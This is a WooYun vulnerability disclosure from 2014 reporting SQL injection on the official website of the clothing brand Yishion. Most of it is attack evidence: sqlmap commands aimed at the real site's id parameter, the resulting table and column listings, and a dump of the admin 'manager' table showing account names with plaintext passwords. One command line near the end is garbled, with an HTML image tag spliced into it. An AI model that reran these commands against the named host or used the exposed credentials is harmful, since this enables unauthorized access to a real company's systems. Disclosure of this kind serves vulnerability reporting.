漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-088318
漏洞标题：以纯官网SQL注入
相关厂商：以纯官网
漏洞作者： 路人甲
提交时间：2014-12-23 18:15
修复时间：2015-02-06 18:16
公开时间：2015-02-06 18:16
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-12-23： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-06： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
sql注入
详细说明：
注入点http://www.yishion.com.cn/workdetail.php/workdetail.php?id=1
漏洞证明：
sqlmap -u http://www.yishion.com.cn/workdetail.php?id=1 --dbs
sqlmap -u http://www.yishion.com.cn/workdetail.php?id=1 --dbms "Mysql" --current-db
sqlmap -u http://www.yishion.com.cn/workdetail.php?id=1 --dbms "Mysql" --tables -D
"yishion-new"
Database: `yishion-new`
Table: work
[6 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| text | text |
| time | date |
| title | varchar(255) |
| type | varchar(255) |
+----------+--------------+
Database: `yishion-new`
Table: discount
[7 columns]
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| time | date |
| timeforspread | varchar(255) |
| title | varchar(255) |
| url | text |
| website | varchar(255) |
+---------------+--------------+
Database: `yishion-new`
Table: manager
[2 columns]
+-----------+--------------+
| Column | Type |
+-----------+--------------+
| managerID | varchar(11) |
| password | varchar(255) |
+-----------+--------------+
Database: `yishion-new`
Table: contact
[6 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| text | text |
| time | date |
| title | varchar(255) |
| website | varchar(255) |
+----------+--------------+
Database: `yishion-new`
Table: video
[9 columns]
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| describe | text |
| id | int(11) |
| image | varchar(255) |
| isshowed | tinyint(1) |
| time | date |
| timeforspread | varchar(255) |
| title | varchar(255) |
| type | varchar(255) |
| video | varchar(255) |
+---------------+--------------+
Database: `yishion-new`
Table: costume
[12 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| describe | text |
| detail_url | text |
| id | int(11) |
| isshowed | tinyint(1) |
| like | int(5) |
| order | int(5) |
| price | varchar(30) |
| time | date |
| title | varchar(255) |
| type | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+------------+--------------+
Database: `yishion-new`
Table: women
[12 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| describe | text |
| detail_url | text |
| id | int(11) |
| isshowed | tinyint(1) |
| like | int(11) |
| order | int(5) |
| price | varchar(30) |
| time | date |
| title | varchar(255) |
| type | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+------------+--------------+
Database: `yishion-new`
Table: child
[12 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| describe | text |
| detail_url | text |
| id | int(11) |
| isshowed | tinyint(1) |
| like | int(5) |
| order | int(5) |
| price | varchar(30) |
| time | date |
| title | varchar(255) |
| type | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+------------+--------------+
Database: `yishion-new`
Table: news
[8 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| order | int(11) |
| text | text |
| time | date |
| title | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+----------+--------------+
Database: `yishion-new`
Table: subject
[8 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| order | int(11) |
| text | text |
| time | date |
| title | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+----------+--------------+
Database: `yishion-new`
Table: email
[3 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| email | varchar(255) |
| id | int(11) |
| time | date |
+--------+--------------+
Database: `yishion-new`
Table: select
[3 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| id | int(11) |
| name | varchar(255) |
| type | varchar(255) |
+--------+--------------+
Database: `yishion-new`
Table: latest
[7 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| order | int(11) |
| time | date |
| title | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+----------+--------------+
+-----------+----------+
| managerID | password |
+-----------+----------+
| 438824887 | 1234 |
| yishion | new |
+-----------+----------+sqlmap -u http://www.yishion.com.cn/workdetail.php?id=1 --dbms "Mysql" --columns
-T "bottom" -D "yishion-new"<img sqlmap -u http://www.yishion.com.cn/workdetail.php?id=1 --dbms "Mysql" --dump -C
"managerID,password" -T "manager" -D "yishion-new" -v 0src="/upload/201412/231728463b4c2c8bf24762d6c654c27abdba2e99.png" alt="5.png" />
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝